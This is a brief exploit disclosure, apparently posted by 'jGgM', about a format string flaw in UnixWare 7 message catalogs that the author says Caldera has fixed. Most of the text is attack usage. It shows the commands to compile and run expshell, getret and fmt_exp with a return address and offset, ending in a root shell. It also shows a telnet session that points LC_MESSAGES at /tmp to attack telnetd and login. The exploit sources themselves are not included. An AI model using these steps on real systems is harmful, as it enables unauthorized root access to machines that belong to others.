Unixware Message catalog exploit code

Hi, I'm jGgM.

I was reported this problem Caldera, a few week ago.
And, This exploit is fixed already.

Hacker can modify message catalog and,
It can possible format string exploit.

for example)

$ gcc -o expshell expshell.c
$ gcc -o getret getret.c
$ gcc -o fmt_exp fmt_exp.c
$ ./expshell
$ ./getret
e=8047af7
$ ./fmt_exp 0x8047af7  16 ( 16 is offset )
...........(wait 30 minutes ). ......

# id
uid=0(root) gid=3(sys) ......................

This can exploit all of unixware 7 setuid/setgid 
command.

Also, can exploit telnetd and login.

example)
$ telnet
telnet> env def LC_MESSAGES /tmp
telnet> o localhost
Trying....
.....
login: blah blah..
password: blah.. blash..
...... (wait 30 minutes.. )
